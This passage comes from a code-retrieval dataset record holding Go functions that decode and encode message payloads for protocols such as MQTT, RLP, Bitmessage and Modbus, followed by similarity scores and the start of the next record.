ioutil.ReadAll(m.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tm.Body = ioutil.NopCloser(bytes.NewReader(body))\n\n\treturn body, err\n}", "func (subAckDecoder) decode(payload []byte) SubAckPacket {\n\tvar suback SubAckPacket\n\n\tsuback.ID = int(binary.BigEndian.Uint16(payload[:2]))\n\tif len(payload) >= 2 {\n\t\tfor _, v := range payload[2:] {\n\t\t\tsuback.ReturnCodes = append(suback.ReturnCodes, int(v))\n\t\t}\n\t}\n\treturn suback\n}", "func TestDecodePayloadSliceEmpty(t *testing.T) {\n\tassert := assert.New(t)\n\tpayload := bytes.NewBufferString(\"\")\n\n\tdecoded, err := decodePayloadSlice(payload.Bytes())\n\n\tassert.Equal([]Payload{}, decoded)\n\tassert.Nil(err)\n}", "func (d *DNP3) Payload() []byte {\n\treturn nil\n}", "func (cs *StreamManager) Unpack(payload string) []byte {\n\treturn cs.Stream.Unpack(payload)\n}", "func (rs *Restake) Payload() []byte { return rs.payload }", "func (h *host) Decode(ctx context.Context, ids ttnpb.EndDeviceIdentifiers, version *ttnpb.EndDeviceVersionIdentifiers, msg *ttnpb.ApplicationUplink, script string) error {\n\tdefer trace.StartRegion(ctx, \"decode message\").End()\n\n\tenv := h.createEnvironment(ids, version)\n\tenv[\"payload\"] = msg.FRMPayload\n\tenv[\"f_port\"] = msg.FPort\n\tscript = fmt.Sprintf(`\n\t\t%s\n\t\tDecoder(env.payload, env.f_port)\n\t`, script)\n\tvalue, err := h.engine.Run(ctx, script, env)\n\tif err != nil {\n\t\treturn err\n\t}\n\tm, ok := value.(map[string]interface{})\n\tif !ok {\n\t\treturn errOutput.New()\n\t}\n\ts, err := gogoproto.Struct(m)\n\tif err != nil {\n\t\treturn errOutput.WithCause(err)\n\t}\n\tmsg.DecodedPayload = s\n\treturn nil\n}", "func decodeByteArray(s *Stream, val reflect.Value) error {\n\t// getting detailed information on encoded data\n\tkind, size, err := s.Kind()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// getting the length of declared ByteArray\n\tvlen := val.Len()\n\n\tswitch kind {\n\t// put a byte in a byte array\n\tcase Byte:\n\t\tif vlen == 0 {\n\t\t\treturn &decodeError{msg: \"input string too long\", typ: val.Type()}\n\t\t}\n\t\tif vlen > 1 {\n\t\t\treturn &decodeError{msg: \"input string too short\", typ: val.Type()}\n\t\t}\n\n\t\t// get the content and stores in the index 0\n\t\tbv, _ := s.Uint()\n\t\tval.Index(0).SetUint(bv)\n\n\t// put string in a byte array\n\tcase String:\n\t\tif uint64(vlen) < size {\n\t\t\treturn &decodeError{msg: \"input string too long\", typ: val.Type()}\n\t\t}\n\t\tif uint64(vlen) > size {\n\t\t\treturn &decodeError{msg: \"input string too short\", typ: val.Type()}\n\t\t}\n\n\t\t// transfer the byte array to byte slice and place string content inside\n\t\tslice := val.Slice(0, vlen).Interface().([]byte)\n\t\tif err := s.readFull(slice); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// reject cases where single byte encoding should have been used\n\t\tif size == 1 && slice[0] < 128 {\n\t\t\treturn wrapStreamError(ErrCanonSize, val.Type())\n\t\t}\n\t// byte array should not contain any list\n\tcase List:\n\t\treturn wrapStreamError(ErrExpectedString, val.Type())\n\t}\n\treturn nil\n}", "func DecodePayloadDigest(decryptedCell []byte) []byte {\n\tstart := CmdLength + StreamIDLength\n\tend := start + DigestLength\n\treturn decryptedCell[start:end]\n}", "func decode(msg mqtt.Message) (*driver.Message, error) {\n\tif msg == nil {\n\t\treturn nil, errInvalidMessage\n\t}\n\n\tvar dm driver.Message\n\tif err := decodeMessage(msg.Payload(), &dm); err != nil {\n\t\treturn nil, err\n\t}\n\tdm.AckID = msg.MessageID() // uint16\n\tdm.AsFunc = messageAsFunc(msg)\n\treturn &dm, nil\n}", "func (broadcast *Broadcast) decodeFromDecrypted(r io.Reader) error {\n\tbroadcast.bm = &Bitmessage{}\n\terr := broadcast.bm.decodeBroadcast(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar sigLength uint64\n\tif sigLength, err = bmutil.ReadVarInt(r); err != nil {\n\t\treturn err\n\t}\n\tif sigLength > obj.SignatureMaxLength {\n\t\tstr := fmt.Sprintf(\"signature length exceeds max length - \"+\n\t\t\t\"indicates %d, but max length is %d\",\n\t\t\tsigLength, obj.SignatureMaxLength)\n\t\treturn wire.NewMessageError(\"DecodeFromDecrypted\", str)\n\t}\n\tbroadcast.sig = make([]byte, sigLength)\n\t_, err = io.ReadFull(r, broadcast.sig)\n\treturn err\n}", "func DecodePMBUSBindingPayload(payload string) (public.PMBUSBindingPayload, error) {\n\tvar p public.PMBUSBindingPayload\n\tif err := json.Unmarshal([]byte(payload), &p); err != nil {\n\t\treturn p, err\n\t}\n\n\treturn p, nil\n}", "func (p *Unsuback) Unpack(r io.Reader) error {\n\trestBuffer := make([]byte, p.FixHeader.RemainLength)\n\t_, err := io.ReadFull(r, restBuffer)\n\tif err != nil {\n\t\treturn codes.ErrMalformed\n\t}\n\tbufr := bytes.NewBuffer(restBuffer)\n\tp.PacketID, err = readUint16(bufr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif IsVersion3X(p.Version) {\n\t\treturn nil\n\t}\n\n\tp.Properties = &Properties{}\n\terr = p.Properties.Unpack(bufr, UNSUBACK)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor {\n\t\tb, err := bufr.ReadByte()\n\t\tif err != nil {\n\t\t\treturn codes.ErrMalformed\n\t\t}\n\t\tif p.Version == Version5 && !ValidateCode(UNSUBACK, b) {\n\t\t\treturn codes.ErrProtocol\n\t\t}\n\t\tp.Payload = append(p.Payload, b)\n\t\tif bufr.Len() == 0 {\n\t\t\treturn nil\n\t\t}\n\t}\n}", "func GetMsgPayload(msgData []byte) ([]byte, error) {\n if len(msgData) < HEADER_LEN_B {\n return nil, ErrBufferTooSmall\n }\n\n header, err := GetMsgHeader(msgData)\n if err != nil {\n return nil, err\n }\n\n size := GetMsgSize(header)\n\n return msgData[HEADER_LEN_B : HEADER_LEN_B + size], nil\n}", "func (b *BaseHandler) Payload() []byte {\n\tcontent, err := ioutil.ReadAll(b.request.Body)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn content\n}", "func (pp *Puback) Decode(src []byte) (int, error) {\n\tn, pid, err := identifiedDecode(src, PUBACK)\n\tpp.ID = pid\n\treturn n, err\n}", "func (d *Decoder) Decode(b []byte) (interface{}, error) {\n\tnv := reflect.New(d.Type).Interface()\n\tif err := d.Func(b, nv); err != nil {\n\t\treturn nil, err\n\t}\n\tptr := reflect.ValueOf(nv)\n\treturn ptr.Elem().Interface(), nil\n}", "func (msg *Message) Payload() []byte {\n\treturn msg.Encrypted\n}", "func Decode(key []byte, b []byte) (m Message, err error) {\n\tif key != nil {\n\t\tb, err = crypt.Decrypt(b, key)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\tb = compress.Decompress(b)\n\terr = json.Unmarshal(b, &m)\n\tif err == nil {\n\t\tif key != nil {\n\t\t\tlog.Debugf(\"read %s message (encrypted)\", m.Type)\n\t\t} else {\n\t\t\tlog.Debugf(\"read %s message (unencrypted)\", m.Type)\n\t\t}\n\t}\n\treturn\n}", "func TestDecodePayloadSliceHappyPath(t *testing.T) {\n\tassert := assert.New(t)\n\tbody := `[{\"foo\": \"bar\", \"baz\": 1}]`\n\tpayload := bytes.NewBufferString(body)\n\n\tdecoded, err := decodePayloadSlice(payload.Bytes())\n\n\tassert.Equal([]Payload{Payload{\"foo\": \"bar\", \"baz\": float64(1)}}, decoded)\n\tassert.Nil(err)\n}", "func vaultDecode(data interface{}) ([]byte, error) {\n\tencoded, ok := data.(string)\n\tif !ok {\n\t\treturn nil, errors.New(\"Received non-string data\")\n\t}\n\treturn base64.StdEncoding.DecodeString(strings.TrimPrefix(encoded, vaultV1DataPrefix))\n}", "func (up *Unsuback) Decode(src []byte) (int, error) {\n\tn, pid, err := identifiedDecode(src, UNSUBACK)\n\tup.ID = pid\n\treturn n, err\n}", "func (this *UnsubscribeMessage) Decode(src []byte) (int, error) {\n\ttotal := 0\n\n\thn, err := this.header.decode(src[total:])\n\ttotal += hn\n\tif err != nil {\n\t\treturn total, err\n\t}\n\n\t//this.packetId = binary.BigEndian.Uint16(src[total:])\n\tthis.packetId = src[total : total+2]\n\ttotal += 2\n\n\tremlen := int(this.remlen) - (total - hn)\n\tfor remlen > 0 {\n\t\tt, n, err := readLPBytes(src[total:])\n\t\ttotal += n\n\t\tif err != nil {\n\t\t\treturn total, err\n\t\t}\n\n\t\tthis.topics = append(this.topics, t)\n\t\tremlen = remlen - n - 1\n\t}\n\n\tif len(this.topics) == 0 {\n\t\treturn 0, fmt.Errorf(\"unsubscribe/Decode: Empty topic list\")\n\t}\n\n\tthis.dirty = false\n\n\treturn total, nil\n}", "func Decode(buf []byte, out interface{}) error {\n\treturn codec.NewDecoder(bytes.NewReader(buf), msgpackHandle).Decode(out)\n}", "func Decode(buf []byte, out interface{}) error {\n\treturn codec.NewDecoder(bytes.NewReader(buf), msgpackHandle).Decode(out)\n}", "func unmarshalPayload(r *http.Request) ([]interface{}, error) {\n\tif r.ContentLength > 0 {\n\t\tinterfaceSlice := []interface{}{}\n\t\tdata := make([]byte, r.ContentLength)\n\t\tr.Body.Read(data)\n\t\t// [][]byte\n\t\tsplittedByteData := bytes.SplitAfter(data, []byte(\"},\"))\n\t\tfor _, single := range splittedByteData {\n\t\t\tvar mData interface{}\n\t\t\tsingle = bytes.TrimRight(single, \",\")\n\t\t\terr := json.Unmarshal(single, &mData)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tinterfaceSlice = append(interfaceSlice, mData)\n\t\t}\n\t\treturn interfaceSlice, nil\n\t}\n\treturn nil, nil\n}", "func (msg *Message) Decode(r io.Reader) error {\n\tvar err error\n\tmsg.header, err = wire.DecodeObjectHeader(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif msg.header.ObjectType != wire.ObjectTypeMsg {\n\t\tstr := fmt.Sprintf(\"Object Type should be %d, but is %d\",\n\t\t\twire.ObjectTypeMsg, msg.header.ObjectType)\n\t\treturn wire.NewMessageError(\"Decode\", str)\n\t}\n\n\treturn msg.decodePayload(r)\n}", "func (b ByteArray) Decode(r io.Reader) (interface{}, error) {\n\tl, err := util.ReadVarInt(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbuf := make([]byte, int(l))\n\t_, err = io.ReadFull(r, buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf, nil\n}", "func (pkt *SubDelRequest) Decode(bytes []byte) (err error) {\n\tvar used int\n\toffset := 4 // header\n\n\tpkt.XID, used, err = XdrGetUint32(bytes[offset:])\n\tif err != nil {\n\t\treturn err\n\t}\n\toffset += used\n\n\tpkt.SubID, used, err = XdrGetInt64(bytes[offset:])\n\tif err != nil {\n\t\treturn err\n\t}\n\toffset += used\n\n\treturn nil\n}", "func decodeByteSlice(s *Stream, val reflect.Value) error {\n\t// b = byte slice contained string content\n\tb, err := s.Bytes()\n\tif err != nil {\n\t\treturn wrapStreamError(err, val.Type())\n\t}\n\tval.SetBytes(b)\n\treturn nil\n}", "func (p *PayloadRaw) getPayload() Payload {\n\tswitch p.payloadType {\n\tcase 33:\n\t\tlog.Println(\"Found IKEv2 SA payload\")\n\t\treturn NewIKEv2Sa(p.payloadContent)\n\tdefault:\n\t\treturn nil\n\t}\n}", "func (p *PCOPayload) DecodeFromBytes(b []byte) error {\r\n\tp.ConfigurationProtocol = b[0] & 0x07\r\n\r\n\toffset := 1\r\n\tfor {\r\n\t\tif offset >= len(b) {\r\n\t\t\treturn nil\r\n\t\t}\r\n\t\topt, err := DecodeConfigurationProtocolOption(b[offset:])\r\n\t\tif err != nil {\r\n\t\t\treturn err\r\n\t\t}\r\n\t\tp.ConfigurationProtocolOptions = append(p.ConfigurationProtocolOptions, opt)\r\n\t}\r\n}", "func (d *Datagram) Payload() TCPSegment {\n\tdata := d.Data[d.HeaderLength():d.TotalLength()]\n\t// TODO: use Protocol() to return different structs based on Protocol\n\t// this will require us to modify the return type as well\n\treturn TCPSegment{Data: data, ContainingDatagram: d}\n}", "func readPayloadBytes(data io.Reader) ([]byte, bool, error) {\n\tlengthPrefix := []byte{0, 0, 0, 0, 0}\n\treadCount, err := data.Read(lengthPrefix)\n\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\n\tif readCount != 5 {\n\t\treturn nil, false, errors.New(\"malformed data: not enough data to read length prefix\")\n\t}\n\n\tpayloadLength := binary.BigEndian.Uint32(lengthPrefix[1:])\n\tpayloadBytes := make([]byte, payloadLength)\n\treadCount, err = data.Read(payloadBytes)\n\treturn payloadBytes, isTrailer(lengthPrefix[0]), nil\n}", "func Decode(r BytesReader) (interface{}, error) {\n\treturn decodeValue(r)\n}", "func (b *Base) LayerPayload() []byte { return b.Payload }", "func decodeDecoder(s *Stream, val reflect.Value) error {\n\tif val.Kind() == reflect.Ptr && val.IsNil() {\n\t\t// set the value to the pointer pointed to the 0 represented by the data type\n\t\tval.Set(reflect.New(val.Type().Elem()))\n\t}\n\t// transfer the reflect type back to Decoder interface type, and call DecodeRLP method\n\treturn val.Interface().(Decoder).DecodeRLP(s)\n}", "func NewPayload() Payload {\n\tp := Payload{-1, \"\", 0, \"\", 0}\n\treturn p\n}", "func decodeData(data string, encodedType Encode) ([]byte, error) {\n\tvar keyDecoded []byte\n\tvar err error\n\tswitch encodedType {\n\tcase None:\n\t\tkeyDecoded = []byte(data)\n\tcase HEX:\n\t\tkeyDecoded, err = hex.DecodeString(data)\n\tcase Base64:\n\t\tkeyDecoded, err = base64.StdEncoding.DecodeString(data)\n\tdefault:\n\t\treturn keyDecoded, fmt.Errorf(\"secretInfo PublicKeyDataType unsupport\")\n\t}\n\treturn keyDecoded, err\n}", "func (mb *rtuPackager) Decode(adu []byte) (pdu *ProtocolDataUnit, err error) {\n\tlength := len(adu)\n\t// Calculate checksum\n\tvar crc crc\n\tcrc.reset().pushBytes(adu[0 : length-2])\n\tchecksum := uint16(adu[length-1])<<8 | uint16(adu[length-2])\n\tif checksum != crc.value() {\n\t\terr = fmt.Errorf(\"modbus: response crc '%v' does not match expected '%v'\", checksum, crc.value())\n\t\treturn\n\t}\n\t// Function code & data\n\tpdu = &ProtocolDataUnit{}\n\tpdu.FunctionCode = adu[1]\n\tpdu.Data = adu[2 : length-2]\n\treturn\n}", "func (pe *ProwJobEvent) FromPayload(data []byte) error {\n\tif err := json.Unmarshal(data, pe); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (payload *ExtEthCompatPayload) UnmarshalBinary(data []byte) error {\n\tbuf := bytes.NewBuffer(data)\n\n\t// Read ABI\n\tvar numBytes uint64\n\tif err := binary.Read(buf, binary.LittleEndian, &numBytes); err != nil {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompatPayload.ABI len: %v\", err)\n\t}\n\n\t// TODO: Remove in favour of the surge library. This check restricts the\n\t// size to be 1MB.\n\tif numBytes > 1024*1024 {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompayPayload.ABI: too many bytes\")\n\t}\n\tabiBytes := make(B, numBytes)\n\tif _, err := buf.Read(abiBytes); err != nil {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompatPayload.ABI data: %v\", err)\n\t}\n\tpayload.ABI = abiBytes\n\n\t// Read Value\n\tif err := binary.Read(buf, binary.LittleEndian, &numBytes); err != nil {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompatPayload.Value len: %v\", err)\n\t}\n\t// TODO: Remove in favour of the surge library. This check restricts the\n\t// size to be 1MB.\n\tif numBytes > 1024*1024 {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompayPayload.Value: too many bytes\")\n\t}\n\tvalueBytes := make(B, numBytes)\n\tif _, err := buf.Read(valueBytes); err != nil {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompatPayload.Value data: %v\", err)\n\t}\n\tpayload.Value = valueBytes\n\n\t// Read Fn\n\tif err := binary.Read(buf, binary.LittleEndian, &numBytes); err != nil {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompatPayload.Fn len: %v\", err)\n\t}\n\t// TODO: Remove in favour of the surge library. This check restricts the\n\t// size to be 1KB.\n\tif numBytes > 1024 {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompayPayload.Fn: too many bytes\")\n\t}\n\tfnBytes := make(B, numBytes)\n\tif _, err := buf.Read(fnBytes); err != nil {\n\t\treturn fmt.Errorf(\"cannot read ExtEthCompatPayload.Fn data: %v\", err)\n\t}\n\tpayload.Fn = fnBytes\n\n\treturn nil\n}", "func Decode(line []byte) (payload []byte, err error) {\n\tbuffer := bytes.NewBuffer(line)\n\tdecoder := NewDecoder(buffer)\n\terr = decoder.Decode(&payload)\n\tif err != nil {\n\t\treturn\n\t}\n\tif buffer.Len() != 0 {\n\t\terr = ErrInputExcess\n\t\treturn\n\t}\n\treturn\n}", "func (rw *DataRW) payload(msg Msg) []byte {\n\tbuffer := bytes.NewBuffer(make([]byte, 0, 65536))\n\t_, err := io.Copy(buffer, msg.Payload)\n\tif err != nil {\n\t\treturn nil\n\t}\n\ttemp := buffer.Bytes()\n\tlength := len(temp)\n\tvar body []byte\n\t//are we wasting more than 5% space?\n\tif cap(temp) > (length + length/5) {\n\t\tbody = make([]byte, length)\n\t\tcopy(body, temp)\n\t} else {\n\t\tbody = temp\n\t}\n\treturn body\n}", "func (b UnsignedByte) Decode(r io.Reader) (interface{}, error) {\n\ti, err := util.ReadUint8(r)\n\treturn UnsignedByte(i), err\n}", "func (bp *BasePayload) GetPayload() []byte {\n\treturn bp.Payload\n}", "func (r *record) decode(reader io.Reader) error {\n\tduration, err := getVaruint(reader)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmessage, err := getBytes(reader)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr.duration = time.Duration(duration)\n\tr.message = message\n\treturn nil\n}", "func Decode(r io.Reader, val interface{}) error {\n\treturn NewStream(r, 0).Decode(val)\n}", "func (bm *Flight) DecodeMessage(data []byte) {\n\tjson.Unmarshal(data, bm)\n}", "func (s Sig) Payload() ([]byte, error) {\n\t// The payload bytes are uploaded to an OCI registry as blob, and are referenced by digest.\n\t// This digiest is embedded into the OCI image manifest as a layer via a descriptor (see https://github.com/opencontainers/image-spec/blob/main/descriptor.md).\n\t// Here we compare the digest of the blob data with the layer digest to verify if this blob is associated with the layer.\n\tif digest.FromBytes(s.Blob) != s.Layer.Digest {\n\t\treturn nil, errors.New(\"an unmatched payload digest is paired with a layer descriptor digest\")\n\t}\n\treturn s.Blob, nil\n}", "func (data *DaerahPayload) setPayload(r *http.Request) (err error) {\n\tif err := helper.DecodeJson(r,&data);err != nil {\n\t\treturn errors.New(\"invalid payload\")\n\t}\n\tif err := helper.ValidateData(data);err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func decodeMsgPack(buf []byte, out interface{}) error {\n\tr := bytes.NewBuffer(buf)\n\thd := MsgpackHandle{}\n\tdec := NewDecoder(r, &hd)\n\treturn dec.Decode(out)\n}", "func DecodePacket(payload []byte) (sessionID, data []byte) {\n\tparts := bytes.SplitN(payload, NullChar, 2)\n\tvar err = fmt.Sprintf(\"InvalID %v\\n\", payload)\n\tif len(parts) == 1 {\n\t\tpanic(err)\n\t}\n\treturn parts[0], parts[1]\n}", "func decodeMulticastAnnounceBytes(bytes []byte) (string, []byte, error) {\n\tnameBytesLen := int(bytes[0])\n\n\tif nameBytesLen+1 > len(bytes) {\n\t\treturn \"\", nil, errors.New(\"Invalid multicast message received\")\n\t}\n\n\tnameBytes := bytes[1 : nameBytesLen+1]\n\tname := string(nameBytes)\n\tmsgBytes := bytes[nameBytesLen+1 : len(bytes)]\n\n\treturn name, msgBytes, nil\n}" ]
[ "0.77295536", "0.7533814", "0.71282876", "0.69910616", "0.675348", "0.66439044", "0.6625463", "0.64692754", "0.6461205", "0.6431645", "0.64293885", "0.6402728", "0.63575214", "0.6356472", "0.63509953", "0.63248926", "0.6220179", "0.6218751", "0.6202844", "0.6144423", "0.6008884", "0.60027105", "0.5994917", "0.5987079", "0.59814745", "0.596622", "0.59407", "0.59391403", "0.5934577", "0.59260046", "0.5895129", "0.5877793", "0.5864322", "0.585906", "0.5843986", "0.58175206", "0.58056366", "0.57636994", "0.5755893", "0.57447785", "0.57334113", "0.57334113", "0.57158107", "0.5683982", "0.56735903", "0.5658877", "0.5654043", "0.5653998", "0.56423247", "0.5642024", "0.5628317", "0.5625455", "0.5621463", "0.56179976", "0.5616353", "0.5612389", "0.56024575", "0.5599703", "0.559243", "0.55897766", "0.55800074", "0.5575012", "0.557237", "0.55686355", "0.55668956", "0.55622053", "0.5555312", "0.5547759", "0.55437", "0.55434966", "0.55434966", "0.55421716", "0.5538331", "0.55366254", "0.55240095", "0.55214715", "0.5510132", "0.55060774", "0.549702", "0.54923034", "0.547415", "0.547319", "0.5467973", "0.54645383", "0.5462103", "0.5454178", "0.5444805", "0.54430306", "0.5442714", "0.543579", "0.54317045", "0.54239804", "0.5423588", "0.54232705", "0.541867", "0.5414874", "0.5410861", "0.5405067", "0.5404408", "0.5396034" ]
0.8133394
0
EncodePayload transforms an Payload to byte data
func (e Payload) Encode() []byte { buf := make([]byte, len(e.Data)+9) binary.LittleEndian.PutUint32(buf[0:4], uint32(len(buf))) buf[4] = e.Op binary.LittleEndian.PutUint32(buf[5:9], e.Channel) copy(buf[9:], e.Data) return buf }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *Connection) encodePayload(payload interface{}) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tdefer c.encoderState.PushWriter(&buf)()\n\tif err := pvdata.Encode(c.encoderState, payload); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (cm *CallManager) EncodePayload(rpc *RPC) []byte {\n\tbuf := bytes.NewBuffer(nil)\n\n\t//cm.logger.Logf(\"encoding payload of call %d\\n\", rpc.Header.Call)\n\n\tbencode.Marshal(buf, rpc.Payload)\n\tb := buf.Bytes()\n\t/*if len(b) == 0 {\n\t\tb = make([]byte, 2)\n\t\tb[0] = 'l'\n\t\tb[1] = 'e'\n\t}*/\n\treturn b\n}", "func (s *Message) EncodePayload(v interface{}) {\n\tb, err := json.Marshal(v)\n\tif err != nil {\n\t\tlogrus.Fatal(err)\n\t}\n\n\ts.Payload = b\n}", "func encodePayload(w io.Writer, payload *pb.StatsPayload) error {\n\tgz, err := gzip.NewWriterLevel(w, gzip.BestSpeed)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err := gz.Close(); err != nil {\n\t\t\tlog.Errorf(\"Error closing gzip stream when writing stats payload: %v\", err)\n\t\t}\n\t}()\n\treturn msgp.Encode(gz, payload)\n}", "func EncodePayload(payload string) (string, error) {\n\tclaims := &jwt.MapClaims{\n\t\t\"exp\": time.Now().Unix() + tokenLife,\n\t\t\"iss\": issuer,\n\t\t// custom claim\n\t\t\"uid\": payload,\n\t}\n\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\treturn token.SignedString(signingSecret)\n}", "func (p *ubPayload) Encode() []byte {\n\tretString := strconv.Itoa(p.flags)\n\tfl := strconv.Itoa(len(retString))\n\tretString = fl + retString + p.suffix\n\treturn []byte(retString)\n}", "func (w *Writer) encodePayload(e *xml.Encoder) error {\n\tif w.ObjectName == \"\" {\n\t\treturn e.Encode(w.Payload)\n\t}\n\treturn e.EncodeElement(w.Payload, xml.StartElement{Name: xml.Name{Local: w.ObjectName}})\n}", "func EncodePayloadDigest(data []byte) []byte {\n\tsum := md5.Sum(data)\n\treturn sum[:]\n}", "func (rs *Restake) Payload() []byte { return rs.payload }", "func (payload *WPA2Payload) Encode() ([]byte, error) {\n\tbuffer := new(bytes.Buffer)\n\tencoder := gob.NewEncoder(buffer)\n\terr := encoder.Encode(payload)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buffer.Bytes(), nil\n}", "func writePayload(myPayload string) []byte {\n\tconvertedPayload := []byte(myPayload)\n\tpayloadStore := make([]byte, len(convertedPayload))\n\tcopy(payloadStore[0:], myPayload)\n\treturn payloadStore\n}", "func MarshalTransactionPayload(r *bytes.Buffer, f *TransactionPayload) error {\n\treturn encoding.WriteVarBytesUint32(r, f.Data)\n}", "func GetBytesPayload(payl *common.Payload) ([]byte, error) {\n\tbytes, err := proto.Marshal(payl)\n\treturn bytes, err\n}", "func DecodePayload(data []byte) Payload {\n\te := Payload{}\n\te.Length = binary.LittleEndian.Uint32(data[0:4])\n\te.Op = data[4]\n\te.Channel = binary.LittleEndian.Uint32(data[5:9])\n\te.Data = make([]byte, len(data[9:]))\n\tcopy(e.Data, data[9:])\n\treturn e\n}", "func (msg *Message) Payload() []byte {\n\treturn msg.Encrypted\n}", "func (ds *DepositToStake) Payload() []byte { return ds.payload }", "func (p NullPayload) EncodeBinary(w *io.BinWriter) {}", "func getPayload(thingToEncode interface{}, contentType ContentType) (payload []byte, err error) {\n\tswitch contentType {\n\tcase Xml:\n\t\tpayload, err = xml.Marshal(thingToEncode)\n\tcase Json:\n\t\tpayload, err = json.Marshal(thingToEncode)\n\t}\n\treturn\n}", "func (o *CreateBackendSwitchingRuleCreated) SetPayload(payload *models.BackendSwitchingRule) {\n\to.Payload = payload\n}", "func Encode(data interface{}) []byte {\n v := Value{data}\n return v.Encode()\n}", "func (h HandlerPayloadMarshal) MarshalPayload(w io.Writer, v interface{}) error {\n\treq := request.New(\n\t\taws.Config{},\n\t\tmetadata.ClientInfo{},\n\t\trequest.Handlers{},\n\t\tnil,\n\t\t&request.Operation{HTTPMethod: \"PUT\"},\n\t\tv,\n\t\tnil,\n\t)\n\n\th.Marshalers.Run(req)\n\n\tif req.Error != nil {\n\t\treturn req.Error\n\t}\n\n\tio.Copy(w, req.GetBody())\n\n\treturn nil\n}", "func (publish PublishPacket) Marshall() []byte {\n\theaderSize := 2\n\tbuf := make([]byte, headerSize+publish.PayloadSize())\n\n\t// Header\n\tbuf[0] = byte(publishType<<4 | bool2int(publish.Dup)<<3 | publish.Qos<<1 | bool2int(publish.Retain))\n\tbuf[1] = byte(publish.PayloadSize())\n\n\t// Topic\n\tnextPos := copyBufferString(buf, 2, publish.Topic)\n\n\t// Packet ID\n\tif publish.Qos == 1 || publish.Qos == 2 {\n\t\t// Packet ID (it must be non zero, so we use 1 if value is zero to generate a valid packet)\n\t\tid := 1\n\t\tif publish.ID > id {\n\t\t\tid = publish.ID\n\t\t}\n\t\tbinary.BigEndian.PutUint16(buf[nextPos:nextPos+2], uint16(id))\n\t\tnextPos = nextPos + 2\n\t}\n\n\t// Published message payload\n\tpayloadSize := len(publish.Payload)\n\tcopy(buf[nextPos:nextPos+payloadSize], publish.Payload)\n\n\treturn buf\n}", "func (e *Exchange) Payload() []byte {\n\treturn e.payload\n}", "func (b *Base) LayerPayload() []byte { return b.Payload }", "func (b *BaseHandler) Payload() []byte {\n\tcontent, err := ioutil.ReadAll(b.request.Body)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn content\n}", "func signPayload(sigPayload payload.Cosign, key *cosign.KeysBytes) (oci.Signature, error) {\n\tsigPayloadBytes, err := json.Marshal(sigPayload)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tsv, err := cosign.LoadPrivateKey(key.PrivateBytes, []byte{})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tsig, err := sv.SignMessage(bytes.NewReader(sigPayloadBytes))\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tb64sig := base64.StdEncoding.EncodeToString(sig)\n\tociSig, err := staticsign.NewSignature(sigPayloadBytes, b64sig)\n\treturn ociSig, trace.Wrap(err)\n}", "func (t *Token) Payload() []byte {\n\treturn t.payload\n}", "func (o *GetIdentityIDOK) SetPayload(payload *models.Identity) {\n\to.Payload = payload\n}", "func (o *GetBackendsBackendIDTestOK) SetPayload(payload *GetBackendsBackendIDTestOKBody) {\n\to.Payload = payload\n}", "func (bp *BasePayload) SetPayload(p []byte) {\n\tbp.Payload = p\n}", "func (o *RegisterRecipientToProgramOK) SetPayload(payload interface{}) {\n\to.Payload = payload\n}", "func (b *BaseLayer) LayerPayload() []byte { return b.Payload }", "func (d *DNP3) Payload() []byte {\n\treturn nil\n}", "func (o *CreateBackendSwitchingRuleAccepted) SetPayload(payload *models.BackendSwitchingRule) {\n\to.Payload = payload\n}", "func (o *GetBackendsBackendIDTestInternalServerError) SetPayload(payload *GetBackendsBackendIDTestInternalServerErrorBody) {\n\to.Payload = payload\n}", "func (bp *BasePayload) GetPayload() []byte {\n\treturn bp.Payload\n}", "func PayloadFromBytes(b []byte) Payload {\n\treturn jsonPayload(b)\n}", "func (radius *RADIUS) Payload() []byte {\n\treturn radius.BaseLayer.Payload\n}", "func SendPayload(w http.ResponseWriter, payload interface{}) {\n\tjsonString, err := json.Marshal(payload)\n\n\tif err != nil {\n\t\tconfutil.CheckError(err, \"\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Write([]byte(ErrInvalidJSON.Error()))\n\t} else {\n\t\tw.Write(jsonString)\n\t}\n}", "func (o *RegisterInfraEnvCreated) SetPayload(payload *models.InfraEnv) {\n\to.Payload = payload\n}", "func (s Sig) Payload() ([]byte, error) {\n\t// The payload bytes are uploaded to an OCI registry as blob, and are referenced by digest.\n\t// This digiest is embedded into the OCI image manifest as a layer via a descriptor (see 